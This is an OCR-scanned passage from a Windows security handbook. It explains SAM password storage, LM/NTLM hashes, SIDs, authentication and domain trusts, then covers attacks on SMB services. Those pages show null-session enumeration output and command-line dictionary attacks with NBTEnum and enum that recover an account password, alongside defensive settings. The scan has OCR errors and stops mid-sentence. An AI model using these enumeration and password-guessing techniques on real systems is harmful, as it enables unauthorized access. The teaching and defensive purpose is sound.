
File Optionz  Miew Help
Applications Performance ] Metworking i Users |

Image Mame I User Mame I CPU ! Mem Lsage I =
[l Adrninistrakor on 11,732k
explorer. exe Administrator i} 13,152 K
mshta.exe Administrator an 10,472 K
wuauck.exe Adrinistrakor oa 3,028 K
wpabaln, exe Administrator oa 2,004 K
taskmgr.exe Administrator o1 112K
sychost.exe LoZAL SERYICE on 2,040 K
sychost.exe LOCAL SERYICE on 1,260 K
svchost.exe MET'WORK SERVICE Juli] 3,996 K
msdtc.exe MET'WORK SERVICE Jalu] HFTEK
Systern Idle Process  SYSTEM 93 16K
Syskem SYSTEM Juli] 220K "
SMSE, BXE SYSTEM oo 430 K
CAPS5,B%8 SYSTEM on 3,536 K
winlogon.exe SYSTEM Juli] 5,312 K
services . exe SYSTEM on 6,520 K
lsass.exe SYSTEM o1 26,756 K
WINIprySe, exXe SYSTEM Juli] 4,385 K
svchost.exe SYSTEM on 2,788 K _:!

[ show processes from all users End Process l

|Processes: 30 |CPU Usage: 3% |Commit Charge: 156M / 1260M 2

Figure 5-1.  The Windows 2003 Task Manager
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A default Windows installation creates a number of default user ac-
counts, each with a separate set of default privileges. These users may
be employed by various subsystems that don’t require total system ac-
cess to accomplish their tasks. Table 5-1 shows a list of common default
users in Windows 2000, XP, and 2003, along with a brief description of
their purpose. Note that some of these users will not appear in user ad-
ministration applets as they cannot be renamed or removed, and some
may not appear at all if the associated service has not been installed.

The recently introduced LOCAL SERVICE and NETWORK
SERVICE user contexts now host some services that prior to Windows
XP had executed under the SYSTEM context, permitting them far more
system access than they required. As a result, if a new vulnerability
were to be discovered that affects one of the services operating under
these new accounts, the impact would be significantly less substantial
on Windows XP and 2003 systems than on a Windows 2000 system.

Username 0S Version Description

SYSTEM All The core operating system user
context; unlimited local access

LOCAL SERVICE XP, 2003 New service user context with
more restricted network access
permissions

NETWORK SERVICE XP, 2003 New service user context with
more restricted local access
permissions

Administrator All Default super user; can be renamed

ITUSR_systemname All Anonymous account created for

Internet Information Services to
impersonate when serving
unauthenticated pages

IWAM_systemname All Service account for processes
spawned from Internet Information
Services

TsInternetuser All Terminal services user context

SUPPORT _xxxxxxx XP, 2003 Built-in account for Help and
Support Services; disabled by
default

Guest All Limited privilege account; disabled
by default

Table 5-1.  Default Windows User Accounts
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How Does Windows Store User Details? One of the first things UNIX ad-
ministrators learn is the location of the password file(s) for the systems
they’ll be managing, typically /etc/passwd. Because Windows password
management is so obscure, many long-time Windows system adminis-
trators may not know where exactly the system keeps user account and
password information, let alone how that data is secured.

On a standalone system, user account and password data is stored
in a privileged registry hive referred to as the Security Accounts Manager
(SAM) database, located under HKEY_LOCAL_MACHINE\SAM. By
default, only the SYSTEM user has permission to this key and all
subkeys, and though Administrators can change the permissions to al-
low themselves access, we do not recommend it. On a physical disk,
SAM data can be found in the file %WINNT% \system32\config\SAM;
however, Windows keeps a sharing lock on this file to prevent curious
users from stumbling across this sensitive data.

For systems participating in an Active Directory domain, account
and password data is stored on the domain controller(s) in the Active
Directory database. A client system authenticating to the domain will
cache the password hashes of recent successful domain logins so that
users can still log on to the client even when the domain controller isn’t
available, such as when a laptop user is traveling.

Windows supports a variety of password hashes that have evolved
over the operating system’s lifetime. Each of these implementations is a
one-way hash, so there is no way to recover the original password other
than brute force (trying all possible passwords) or a dictionary attack
(trying only passwords loosely based on real words and/or names).
This also means that we can create our password hash only one time, so
we need to create and store all the necessary hashes whenever the pass-
word is changed. The default stored password hashes are described in
Table 5-2.

Hash Type Introduced Description
LM (LAN Manager) Windows for A very simple algorithm that
Workgroups divides the password into seven

character strings and hashes each
individually. Also converts
characters to uppercase prior to
hashing, so complexity is limited.
This is the easiest hash to brute
force.

Table 5-2. Password Hashes Stored in SAM
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Hash Type

NTLM Windows NT  Similar to LM, but added
case-sensitivity and treats entire
password as a single string, rather
than dividing into seven-character
segments.

Kerberos (Key) Windows 2000 = Well-established authentication
scheme, supporting various
encryption protocols. Available
only in Active Directory forests.

Note: Technically, the Kerberos data stored in the SAM is not a password hash, but a Kerberos
authentication key. You may be thinking “they left out NTLMv2,” but as we'll see in a moment,
NTLMv2 does not define a new hash, but merely handles the NTLM hash differently.

Table 5-1. Password Hashes Stored in SAM (continued)

While Microsoft has taken great strides to protect these hashes, even
going so far as to encrypt the hashes to a system-specific 128-bit key
(called a SYSKEY), by default on Windows 2000 and above (Windows
NT systems can implement this security, see Microsoft KB article
Q143475), there are still ways for a user with Administrator privileges to
extract the password hashes and quickly decrypt the SYSKEY. We’ll
discuss this technique for password harvesting in the next chapter, but
for the moment, consider the adage “a chain is only as strong as its
weakest link.” Even on Windows 2003, the LAN Manager hash is stored
in the SAM by default. This can be changed using the Local Security Pol-
icy and the Domain Security Policies in Windows XP and 2003 by en-
abling the option Network security: Do not store LAN manager hash
value on next password change, but this shouldn’t be implemented un-
til after you're certain LAN Manager authentication is not required (see
the section “Authentication” later in this chapter).

Groups

Groups are an organizational tool to help simplify user management.
Rather than having to iterate through every user account on a system to
apply anew security setting, groups allow administrators to bulk assign
security properties to a collection of users. The administrator simply
creates a group with the properties they wish to assign, and then adds
all the accounts to the group. Best practices dictate the use of groups to
ensure that permissions are assigned uniformly.

Windows automatically creates a number of groups during installa-
tion to help administrators get up and running more quickly. A com-
plete description of all the default groups installed on various Windows
versions is beyond the scope of this reference (and is adequately cov-
ered in Microsoft’s own documentation), but there are a few groups
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worth mentioning. The most significant of these default groups is the
Administrators group, as members of this group are functionally equiv-
alent to the Administrator user itself. Other significant groups exist in
Active Directory domains and include the groups Domain Admins and
Enterprise Admins, members of which gain local Administrator privi-
leges on any system in the domain.

There are three other notable groups that user contexts can be added
to by the operating system that provide a hint as to how the user is ac-
cessing resources. The first of these groups is Everyone, which represents
the lowest common denominator of access. In Chapter 3, we referenced
the security policy setting Everyone Includes Anonymous—this option
determines whether or not anonymous (that is, null-session) users are
afforded the most basic access rights. Without being a member of Every-
one, null-session enumeration is limited to available shares. The other
two groups, INTERACTIVE and Network refer to how the user is access-
ing the system. In some cases, users logged on interactively (directly on
the console) will have permission to change settings that they would not
were they logged in remotely.

How Does Windows Address User Objects? Because objects can be and
frequently are renamed, tracking user objects by name would be very
problematic. When the change occurs in the SAM, how will it be repli-
cated out to the hundreds or thousands of locations where that user ob-
ject has permissions? Obviously, we need to have some sort of constant
identifier to use as our reference. In the Windows security model, these
constants are referred to as security identifiers, or SIDs.

During initial installation, every Windows NT, 2000, XP, or 2003
system creates a unique system SID during setup and all subsequent
keys use the same “system identifier” portion of the system SID. For ac-
counts, the user’s SID consists of the SID of the system (or domain—
when a domain is first created, the PDC’s system identifier becomes the
domain identifier) where the account is stored, followed by a unique
number called a relative identifier (RID). Two RIDs are created by default
for the Administrator and Guest users. The following example is the
SID of an “Administrator” user:

5-1-5-21-1611084395-3630793927-2304305261-500

In this example, the first four identifiers are the SID Identifier (S), the
Revision code (1, on Windows NT, 2000, XP and 2003), the Issuing Au-
thority (5 designates NT as the authority), and the Sub Authorities field.
The three integers that follow are the unique system or domain identifier,
and the last three digits are the RID. Because the Administrator and
Guest users have predictable SIDs, if an attacker can get enough access to
enumerate the SIDs on your system, finding the new name for a renamed
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Administrator account is trivial. User SIDs can often be predicted in the
same fashion, as new user accounts are assigned RIDs consecutively
starting at 1,000 (except in Active Directory forests with more than one
domain; in such an environment, the RID ranges are defined by AD).
We'll get hands-on with SID enumeration in the next chapter.

Authentication

Unless you're using automatic logon on your Windows PC (and if you
are, hang your head in shame), you are quite familiar with the interac-
tive console logon. Depending on whether or not you log on to a do-
main, you simply enter your username and password and click OK.
Windows verifies your password and either logs you on or returns an
error message.

Interactive Logons

Behind the scenes, we're already deeply immersed in the Windows se-
curity model. The small application we refer to as the logon screen is
known as GINA (Graphical Identification and Authentication) and is part of
Winlogon.exe. When we submit our username and password, GINA
passes our logon credentials to the Local Security Authority (LSA, dis-
cussed later in the chapter) for verification. The LSA first checks
whether Kerberos authentication is feasible (for Active Directory
logons), and then invokes either kerberos.dll or msv1_0.dll, depending,
to validate the credentials against either the Active Directory domain
controller or the local SAM database.

Network Logons

As we saw in Chapter 3, before we were able to get any useful informa-
tion from the Windows SMB services, we had to establish a “null ses-
sion”—essentially, we had logged on to the remote system as an
anonymous user. In our command line, we specified a username and
password, both "". When that request was received by the SMB server,
the authentication was processed by the LSA against the local SAM be-
cause our username did not signal a domain user. With null sessions be-
ing a special case of anonymous network user and the server’s
RestrictAnonymous setting being less than two, we were authenticated.

The authentication mechanics of network logons are very similar to
those of interactive logons after the server has received the credentials.
The greater concern with a network logon is the security of the user cre-
dentials in transit. To mitigate the risk of passwords being captured on
the wire, Windows uses a challenge/response authentication method,
where the server issues a random key to the client, and the client responds
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with a hash based on both the supplied password hash and the server’s
challenge key. The server generates the same hash using the challenge
key and the password hash stored in the SAM,; if this hash matches the
one supplied by the client, the password is correct. A list of the chal-
lenge /response authentication protocols supported in Windows 2000, XP,
and 2003 is shown in Table 5-3.

Clearly, we want to encourage our systems to use NTLMv2 or
Kerberos authentication whenever possible, and we certainly don’t want
our systems to be sending a response to LAN Manager challenges! Unfor-
tunately, out of the box, our Windows 2000 and Windows XP systems
will continue to send LM responses (Windows 2003 finally defaults to re-
sponding to only NTLM challenges and above). In order to prevent tran-
sient password capture, we will want to force Windows 2000 and XP to
use the same setting Microsoft has applied by default in Windows 2003.
We'll discuss password attacks in detail in the next chapter, but if this dis-
cussion has made you a little nervous, you can change the minimum chal-
lenge/response level in the Local Security Settings applet of the Security
Policy manager (Start | Run | secpol.msc), as shown in Figure 5-2.

Authentication Protoco

LM (LAN Manager) = Windows Though a challenge/
3.1-Windows NT 4.0 | response system, the

simplicity of the LM hash
meant that the original
password hash could be
quickly recovered from the
wire, where it could be brute
forced (or dictionaried) in
short order.

NTLM Windows NT and Improvements in the base
above password hash translated to
better challenge/response
format. Original password
hash can still be brute forced,
but nowhere near as quickly.

NTLMv2 Windows NT 4.0 SP4 NTLMvl1 challenge/response
and above is further encrypted with a
128-bit key. Nearly
impossible to brute force.

Kerberos Windows 2000 Active = Various encryption methods
Directory supported, widely accepted
as a secure authentication
protocol.

Table 5-3.  Windows Network Authentication Protocols
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Figure 5-2. Changing the LAN Manager Authentication Level in Windows XP and 2003.
Under Windows 2000, the setting lacks the Network security: prefix.

LAN Manager’s Longevity Upon finding LAN Manager authentication
enabled on a new Windows XP installation, a colleague of the author
was heard to remark, “ACK! Why are you still here?!?” A sentiment ech-
oed no doubt through much of the security community. Microsoft’s
continued support for LAN Manager authentication, finally ending
with the dawn of Windows 2003, has no doubt been the subject of many
heated debates in Redmond. However, when you look at the issue from
a product support perspective, there’s some logic to it.

Windows 95 and 98 were very well accepted by the business com-
munity. The new interface was deemed more intuitive, and the new ap-
plications ran faster and more elegantly than under the Windows 3.1
interface. Everyone upgraded, and Windows 9x, with LAN Manager
authentication only, became the new business platform very quickly.
However, the transition to the pure Windows NT workstation plat-
forms of NT 4.0, Windows 2000 Professional, and Windows XP were not
so complete. Many organizations had applications that didn’t require
NT technologies, and were slow to upgrade those clients. This meant
that a substantial portion of Microsoft’s user-base still required LAN
Manager support. While there were substantial security risks from run-
ning allowing the protocol, the default offering stood.



Chapter 5:  Fundamentals of Windows Security 69

Microsoft has been very good, however, in working to remove that
requirement for organizations that deem the security risk unacceptable,
providing the Directory Services client (DSClient.exe on the Windows
2000 Server CD under \CLIENTS\WIN9X) to add support for the
NTLM and NTLMv2 authentication levels to Windows 9x/ME clients.
After installation of the client, the system can be configured to one of the
five LAN Manager compatibility levels like those shown in Figure 5-2.
More details on this process are available in Microsoft KB article
0239869.

Windows Security Providers

So far, we have discussed the fundamentals of Windows users and
groups and the authentication processes that permit or deny access for
local or network logons. However, we have not yet covered the operat-
ing system facilities that manage authentication and access control.
These responsibilities are handled by two primary security providers, a
user mode component (the Local Security Authority ) and a kernel
mode component (the Security Reference Monitor). In this section, we’ll
discuss both of these components a little further.

The Local Security Authority (LSA)

As we mentioned earlier in the chapter, the LSA is responsible for ar-
ranging user authentication, either by communicating with a domain
controller or against the local SAM, for both local and network logons.
The LSA first determines whether authentication should take place lo-
cally or if the credentials supplied need to be validated against a domain
controller. If the authentication is local to the system, the LSA compares
the credentials to the SAM database; otherwise the LSA passes the au-
thentication request to a domain controller to validate the credentials.

When the authentication is successful, the Local Security Authority
generates a list of security identifiers (SIDs) associated with the user cre-
dentials supplied and combines these identifiers into the user’s security
token. After the token has been issued, most access control decisions take
place directly between the user process and the Security Reference
Monitor, as discussed in the following section. In addition to its authen-
tication tasks, the LSA is responsible for writing security events gener-
ated by the SRM to the event log.

The Security Reference Monitor (SRM)

The ultimate gatekeeper of the Windows security architecture, the Secu-
rity Reference Monitor is responsible for verifying that the process re-
questing a given resource is authorized to do so. When a user process
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wants to access a resource, it requests a handle for the resource from the
operating system. This is where the SRM steps in.

The SRM compares the security token associated with the request-
ing process (usually, the token is that of the user who launched the pro-
cess) to the discretionary access control list (DACL) of the object
requested. The DACL contains a list of all approved SIDs for the re-
source and information on the access level to be granted. If the SRM is
able to locate a matching SID in the resource’s DACL, it will issue a han-
dle to the resource with any security controls pre-applied (for example,
a read-only file handle if the security token matched for Read access
only). After the process receives its handle, it will no longer have to
check with the SRM for access, but if the handle is closed and then re-
opened, the SRM will revalidate the process’ credentials.

The other notable responsibility of the SRM has to do with security
logging. When validating a resource request, the SRM will also check
the requested resource’s system access control list (SACL), which contains
descriptors related to auditing for the resource. If the activity requested
by the process matches a descriptor in the SACL, the SRM contacts the
LSA to write the corresponding event log entry.

Active Directory and Domains

Finally in this chapter, we want to briefly touch on the great extenders of
Windows security, Active Directory and the NT Domain model. When a
system participates in a domain, it hands off authentication responsibil-
ities (the activity of the system’s local SAM) to a domain controller. This
means that a domain user’s SID is the same anywhere in the domain be-
cause the bulk of the user’s SID consists of the domain identifier. When
a system joins the domain, any domain security policies are pushed to
the client, so that the LSA on the system can manage most security que-
ries without having to contact the domain controller.

Domains frequently operate in trust relationships, which allow ad-
ministrators to divide their networks into logical groupings to manage
disparate resources. For example, a technology company may have a
corporate domain, a sales domain, and an R&D domain, each hosting
different resources. The corporate domain hosts common resources,
such as e-mail servers, file and print servers, and the company intranet.
In the Sales and R&D domains, more specific (and potentially sensitive)
resources are present.

ACMELABS ACMESALES
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In our illustration, the ACMECORP domain sits above ACMESALES
and ACMELABS. The arrows on the diagram indicate the trust relation-
ships between the three domains and can be read as “start trusts end.” In
this case, the ACMELABS (R&D) is trusted by ACMECORP, but it is a one-
way trust. So users authenticated to ACMELABS can access ACMECORP
resources, but users authenticated to the corporate domain cannot access
resources in ACMELABS. ACMESALES, on the other hand, maintains a
two-way trust with ACMECORP, so users can be authenticated to either
domain and still access the resources of both. Finally, in a transitive fash-
ion, users authenticated in ACMELABS can access the ACMESALES do-
main, because ACMESALES trusts ACMECORP who trusts ACMELABS
(because there is no explicit trust between ACMELABS and ACMESALES,
there’s no arrow on our diagram). Clear as mud? Good.

Active Directory throws a monkey wrench into the trusts equation
by implementing two-way trusts by default between all domains within
the Active Directory. In this trust arrangement, there are a number of
powerful user groups whose access rights span the entire Active Direc-
tory forest. These groups include the Domain Admins, Schema Admins,
and Enterprise Admins. All of these groups are very powerful, able to
modify AD schema information all through the directory structure, but
members of the Enterprise Admins group in particular enjoy full ad-
ministrative privileges everywhere within the Active Directory. Be care-
ful when joining domains in an Active Directory that you understand
the impact of the implicit trust arrangements.

SUMMARY

You should now have aloose understanding of how Windows manages
security under the hood. We have seen how Windows addresses users
and groups internally, and how passwords are secured and where
they're stored. We learned how Windows protects passwords on the
wire by using hashing functions to compare passwords rather than
sending them directly, and we learned about the various authentication
protocols that manage that process. Finally, we took a high-level look at
the architecture of Windows security and its primary providers, the Local
Security Authority and the Security Reference Monitor.

Because the concepts in this chapter can be a little foreign depending
on your exposure to computer science as a whole, we’ve opted to avoid
actual hacks and defenses for the most part. In the next chapter, we’ll be-
gin probing Windows network services more in earnest, and we’ll have
plenty of hacks to discuss then.
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curity, we can now get a little more intimate with some of the

common Windows services. The services we’ll discuss here
are those most commonly probed by attackers, although most of these
services should be well protected by firewalls. We will omit one service
from this discussion; Internet Information Services are discussed sepa-
rately in Chapter 7.

With a better understanding of how Windows handles local se-

MOST COMMONLY ATTACKED
WINDOWS SERVICES

A common question from security neophytes of all platforms is “What
do I really need to secure?” While every service of every networked de-
vice is a potential exposure and should be evaluated as such, it is advis-
able to keep abreast of trends in the security community so that you're
aware of what exploits are popular at any time. Fortunately, there are a
number of sources whose mission is to provide exactly that type of in-
formation.

One very informative site is the SANS Institute’s Internet Storm Cen-
ter, available at http://isc.sans.org. This site offers a quick glance into
thousands of intrusion detection systems whose administrators volun-
tarily submit their logs to the SANS Institute for central correlation. This
much data from such a wide selection of sources exposes trends very
quickly, so as new threats take hold, the associated service can be seen
climbing the Top 10 most-scanned ports. Another similar site, the Distrib-
uted Intrusion Detection System DShield.org, is partnering with SANS’
Internet Storm Center, which should make the dataset even stronger.

Based in part on Internet Storm Center data, in this chapter we’ll
take a deeper look at security issues in

B NetBIOS/SMB Services (UDP/137, TCP /445, TCP/139)

B Microsoft SQL Server (TCP/1433, UDP/1434)

B Terminal Services/Remote Desktop (TCP/3389)

None of these services should be exposed externally when a well-con-

figured firewall is in place. Regardless, along with IIS, these services rep-
resent the bulk of the probes and attacks your systems will face.

Server Message Block Revisited

The NetBIOS/direct SMB services have been a favorite target of hackers
of all skill levels and will continue to be for some time. In Chapter 3, we
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saw how easily we could elicit information from these services using
unauthenticated name table requests or by establishing anonymous
SMB sessions to learn details about the security configuration of the re-
mote host. We'll briefly review those hacks in this section, and take
things a step further with our new knowledge of Windows authentica-
tion processes and password storage methods. In the process, we’ll add
a few more utilities to our toolbox.

Anonymous Enumeration Revisited

With our new knowledge of the Windows security architecture, we can
learn a little bit more from our anonymous attacks. If you're a little
fuzzy on the SMB enumeration techniques we learned back in Chapter 3,
have no fear—we’ll reintroduce them here.

NetBIOS Name Table Enumeration

Using the default Windows utility nbtstat, a user can enumerate the
NetBIOS Name Table of a remote device. The data returned can provide
information about the system’s hostname, the domain or workgroup
the system is a member of, services available on the system, and in some
cases, even local usernames.

E:\hacknotes\nmap-3.20>nbtstat -A 192.168.100.32

Local Area Connection 2:
Node IpAddress: [192.168.100.4] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
RICKSPC <00> UNIQUE Registered
RICKSPC <03> UNIQUE Registered
ACMELABS <00> GROUP Registered
ACMELABS <1E> GROUP Registered
RICKSPC <20> TUNIQUE Registered
ACMELABS <1D> UNIQUE Registered
.._ MSBROWSE__ .<01l> GROUP Registered
RICKH <03> TUNIQUE Registered

MAC Address = 00-0B-DB-0D-84-0B

A table of NetBIOS Name Table type codes is included in the Refer-
ence Center, but for brevity we will not repeat it here. Referring to that
table for this example, we are able to determine that the computer
RICKSPC is a member of either workgroup or domain ACMELABS,
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that there is a File Server service available on the system, and that the
Messenger service is enabled for the username RICKH. Not too shabby.
If you have a great deal of NetBIOS name tables to work with, the
nbtscan utility by Steve Friedl of Unixwiz.Net (http:/ /www.unixwiz
net/tools/nbtscan.html) scans a range of IP addresses and displays the
most interesting name table entries in a more user-friendly report format.

Disable NetBIOS Name Service

The first defense against NetBIOS name enumeration is to prevent the
client from ever querying the service by restricting access to UDP /137
on all hosts. However, this action can have a negative impact on appli-
cations using NetBIOS name resolution, so in some environments, this
approach may not be effective. If your environment is mostly Windows
2000 and above (including clients), you may be able to disable the
NetBIOS helper services altogether from the network control panel, as
detailed in Chapter 3. To provide administrators a way to phase out
NetBIOS over TCP/IP in an enterprise environment, Microsoft has in-
troduced an option for clients to determine whether or not to enable
NetBIOS over TCP/IP from their DHCP server.

NetBIOS Null Session Information Disclosure

Whether or not you opt to disable NetBIOS over TCP/IP, if the Server
service is running, your system will still be accessible for SMB sessions
over TCP/445. Depending on the security policy in place on the system,
anonymous clients may be able to retrieve a significant amount of infor-
mation. This data ranges from a list of available SMB shares to password
and account lockout policy details, domain membership and trusts,
logged-in users, local user accounts, and current SMB sessions.

A default installation of Windows 2000 Server is highly vulnerable
to null session enumeration by default, but Windows 2003 Server has
tightened initial exposure to null sessions by allowing only enumera-
tion of SMB shares.

As one of the most popular of all Windows hacks, there are a num-
ber of tools available that will handle all the dirty work for you; in Chap-
ter 3, we presented four different tools for this purpose. As a quick
review, let’s look at the output of one of those tools (Winfo, by Arne
Vidstrom) run against a default Windows 2000 Server installation:

E:\hacknotes>winfo 192.168.100.10 -n
Winfo 2.0 - copyright (c¢) 1999-2003, Arne Vidstrom
http://www.ntsecurity.nu/toolbox/winfo/

Trying to establish null session...

Null session established.
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SYSTEM INFORMATION:
- 0S version: 5.0

DOMAIN INFORMATION:
- Primary domain (legacy): WORKGROUP
- Account domain: COURAGE
- Primary domain: WORKGROUP
- DNS name for primary domain:
- Forest DNS name for primary domain:

PASSWORD POLICY:

- Time between end of logon time and forced logoff: No forced logoff
- Maximum password age: 42 days

- Minimum password age: 0 days

- Password history length: 0 passwords

- Minimum password length: 0 characters

LOCOUT POLICY:
- Lockout duration: 30 minutes
- Reset lockout counter after 30 minutes
- Lockout threshold: 0

SESSTIONS :
- Computer: 192.168.100.5
- User:

LOGGED IN USERS:
* Administrator

USER ACCOUNTS:
* Administrator
(This account is the built-in administrator account)
* Patrick
* Guest
(This account is the built-in guest account)

[ output truncated for brevity ]

Asyou can see, there’s a great deal of information that a hacker would
find very helpful from this output, and we didn’t even include the avail-
able shares in our listing. Of all this information, an unauthenticated at-
tacker is most concerned with the User Account and Lockout Policy data,
although all the data will come in helpful. Note how the Winfo output
marks the built-in administrator and guest accounts—Winfo is able to de-
termine this information from the user SIDs—as discussed in Chapter 5,
these built-in accounts always have the same RID of 500 and 501.
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Ay
‘! Controlling Anonymous Resources

We've previously discussed how to use the Security Policy editor to place
controls on what kind of data is available to anonymous connections.
Now let’s see what these settings really mean to the well-equipped at-
tacker. Because Windows 2000 and 2003 offer different controls, we'll re-
view them separately.

Under Windows 2000, we're a bit more limited in how we can con-
trol anonymous enumeration. The Security Policy editor exposes one
setting: Additional restrictions for anonymous connections. For those
readers familiar with controlling null sessions under Windows NT 4.0,
this setting reflects the RestrictAnonymous registry setting. The follow-
ing table shows these options and their intended effect:

RestrictAnonymous
Setting Name Equivalent Intended Effect

None. Rely on default 0 Wide open, no controls on

permissions. anonymous enumeration

Do not allow enumeration | 1 Anonymously authenticated

of SAM accounts and shares users should be unable to see
user accounts or available shares

No access without explicit 2 Refuse anonymous sessions

permissions altogether

There are some legitimate services and applications that do require
the ability to establish an anonymous session to work properly, so in
many cases the middle setting (do not allow enumeration of SAM ac-
counts and shares, RestrictAnonymous=1) is the tightest setting that
will not impact usability. Unfortunately, this setting can be easily cir-
cumvented when we're looking for user accounts.

Of course, if the system has no need to provide Server-type services
(file sharing, authentication services, and so on), then the administrator
can disable the Server service entirely. Most workstations can be config-
ured in this fashion, as the Workstation service provides all the Win-
dows networking client facilities. Disabling the Server service will
prevent any anonymous SMB enumeration, as the attacker will be un-
able to establish the all-important null session.

\ Enumerating Accounts When RestrictAnonymous=1

The problem is that we can still use other anonymous rights to find out
account details. Even with the RestrictAnonymous=1 setting, we can
still use our knowledge of Windows SIDs to find available accounts.
Again, there are a number of tools to accomplish this task; we’ve listed
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some of these in the next table. Each of these tools uses a lookup on a
known user account or group name to determine the system or do-
main’s unique SID, which it then uses to guess the SIDs of other ac-
counts and obtain their details with reverse username lookups. This is
possible because after the built-in accounts Administrator and Guest
(with RIDs of 500 and 501), Windows begins numbering new accounts
sequentially at 1,000. (This is somewhat different in Active Directory
forests, where each domain controller in the forest receives its own
block of RIDs, so determining RID scope becomes more difficult.)

User Enumeration Utility | Homepage

sid2user / user2sid http:/ /www.chem.msu.su/~rudnyi/NT/ or
http:/ /www.ntbugtraq.com

DumpUsers http:/ /www .ntsecurity.nu/toolbox/dumpusers
GetAcct (GUI) http:/ /www.securityfriday.com

Completely Sealing Null Sessions

Unfortunately, the facilities exploited by the user enumeration tools are
perfectly legitimate; access to the functions used by these tools is avail-
able to the special group EVERYONE, whose member list is controlled
by the operating system. The only way to prevent this enumeration un-
der Windows 2000 is to set the anonymous restrictions to the highest
level, disabling null sessions completely. In Windows XP and 2003,
Microsoft provided an option to remove Anonymous users from the
EVERYONE group, along with a number of other more granular con-
trols for anonymous access. In Windows 2003, Anonymous users are re-
moved from the EVERYONE group by default, and an additional
Security Policy setting controls whether or not anonymous users can
conduct the SID/Name translation employed by the user enumeration
tools, set to Disabled by default. So unless you've had to back out these
settings for compatibility purposes, Windows 2003 is very well pro-
tected against anonymous enumeration.

Windows Password Cracking

An attacker can only get so far on a Windows system without gaining
higher privileges than Anonymous. In most cases, the actual “door”
used to gain access to the system is a single purpose exploit that allows
an opportunistic attacker to get a shell (command prompt) on the target
machine, frequently with limited access rights. From there, the attacker
must use their knowledge of the inner workings of Windows security to
achieve privilege escalation. One common method of obtaining these
credentials is password cracking.

a1
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At first glance, password cracking may seem out of place on a chapter
about common Windows services. As we explore the methods used for
password acquisition, however, you'll see why we chose to include it here.

\ Brute-Force Password Cracking

In our earlier example of anonymous enumeration, the system
COURAGE disclosed that its current password lockout threshold was
set to zero. This means that if we were to set up a script that continually
tried to access a share on COURAGE by simply iterating through a pass-
word list or even brute forcing with every possible character string, every
request would be accepted and validated. Eventually, we’d successfully
guess the password, provided the account name we are using is legitimate.

The operative word here is “eventually.” Brute forcing over the wire
is simply not feasible, as the time required for every password to fail
makes it nearly impossible to process passwords quickly enough. The
other note to remember is that even though COURAGE does not have
an account lockout enabled, that doesn’t mean that failed login auditing
is not in place.

But while true brute force may not be a feasible approach, a quick dic-
tionary attack can save us a whole lot of work if successful. One of the
tools that we’ve already used for anonymous enumeration, NBTEnum,
can also be used to conduct a dictionary attack against a host, provided
that the host is disclosing SAM accounts over a null session. Here we see
NBTEnum popping an account on COURAGE:

E:\hacknotes\nbtenum>nbtenum.exe -s 192.168.100.10 dict.txt
Connecting to host 192.168.100.10
-> Getting Workstation Transports
-> Getting Account Lockout Threshold
-> Getting Logged On Users
-> Getting Local Groups and Users
-> Getting Global Groups and Users
-> Checking passwords

-> Administrator ......

-> patrick .....!

-> TsInternetUser ......

-> TUSR_COURAGE ......

-> IWAM_COURAGE ......

The single exclamation point shows a successful password hack.
NBTEnum is limited in that it can only attempt a dictionary attack
when SAM accounts can be enumerated anonymously, but it also sup-
ports a “smart attack” mode, where it will run a password attack only if
it finds that there is no account lockout policy in place (as is the case on
COURAGE).
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On the flip side, the Bindview Razor team’s enum tool gives us more
than enough rope to hang ourselves with. The interface is not as simple
as that of NBTEnum, but we have better control over the password at-
tack. What happens if we're unable to enumerate users over the null ses-
sion, but the NetBIOS name table reflects a username? With NBTEnum,
we have no way of setting up an attack for a known user. In the next ex-
ample, we'll run enum against COURAGE, specifically targeting the
“patrick” user:

E:\hacknotes\razor\enum>enum -D -u patrick -f dict.txt 192.168.1.10
username: patrick

dictfile: dict.txt

server: 192.168.100.10

(1) patrick | admin

return 1326, Logon failure: unknown user name or bad password.

(2) patrick | pass
return 1326, Logon failure: unknown user name or bad password.

(3) patrick | password
return 1326, Logon failure: unknown user name or bad password.

(4) patrick | adminpass

password found: adminpass

If we've pushed our luck too far, enum will let us know:

patrick | adminpass

return 1909, The referenced account is currently locked out and may
not be logged on to.

In this snippet, we reset the lockout policy on COURAGE to lock the
account after three bad attempts. Even though the fourth attempt has
the correct password adminpass, we're stuck until the account lockout
duration expires, and there’s a good chance we’ve just made an appear-
ance in a logfile somewhere to boot.

Password Lockouts and Auditing

Dictionary attacks and brute forcing are the reason the Windows secu-
rity policies have settings for account lockouts. Use them! While users
will inevitably lock themselves out on occasion causing administrative
headaches, the alternative—allowing anyone to try passwords until it
works—is simply unacceptable. Set the threshold to an appropriate
number for your environment—if you enforce strict rules on password
complexity, you can safely set this number higher than if your users
have weak passwords because the odds of the password being guessed
before lockout occurs are lower.

An early vulnerability discovered in Windows 2000 allowed an at-
tacker to continue to brute force domain accounts by way of a domain
client even though the account had been locked out. While the system
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would return the account has been locked out error for invalid passwords,
if the attacker guessed the correct password the local machine would
authenticate, not respecting the domain controller’s policy. An obscure
attack at best, but sometimes those are the most surprisingly useful.
This issue is documented fully in Microsoft security bulletin MS00-089
and has been fixed in Windows 2000 Service Pack 2.

Finally, make sure you have adequate auditing in place. By default
Windows 2000 won't log a failed login attempt, let alone a few hundred
of them from an attacker running a dictionary password crack. Without
adequate audit log data, you'll have no way of determining what’s hap-
pened if the worst ever occurs.

\ Cracking Passwords off the Wire

In Chapter 5, we discussed the various authentication protocols sup-
ported by Windows 2000, XP, and 2003. As you recall, we discussed the
inherent weakness of the original Windows authentication protocol,
LAN Manager, and mentioned that it was a relatively simple matter to
determine the actual password from a LAN Manager challenge and re-
sponse. In the name of backward compatibility, many Windows sys-
tems still allow using LAN Manager authentication, which an attacker
can use to rapidly acquire passwords. Even if authentication occurs using
NTLM authentication, it is still possible (though more difficult) to brute
force the password hash.

The basic premise of all password sniffing attacks is that in order for
one system to verify the password of a remote user, that password or
some derivation thereof must be sent to the authenticating system. As we
saw in Chapter 5, Windows uses a challenge /response mechanism, send-
ing only a random token as the “challenge,” and the client responds with a
token derived from the challenge and the password hash. This appears
very secure because the password is never transmitted on the network.
But if an attacker can capture the challenge/response data, they have all
the pieces necessary to brute force the original password hash that was
used to create the response token. The hashing functions used to create the
response tokens are well documented, as are the hashes to create the LM
and NTLM password hashes, so with LM or NTLM authentication chal-
lenge /response data in hand, an attacker is two brute-force routines away
from the cleartext password. NTLMv2 should be vulnerable to a very sim-
ilar attack, but technical details on NTLMv?2 are few and far between, and
so far NTLMv2 has remained immune to these attacks. This may be due
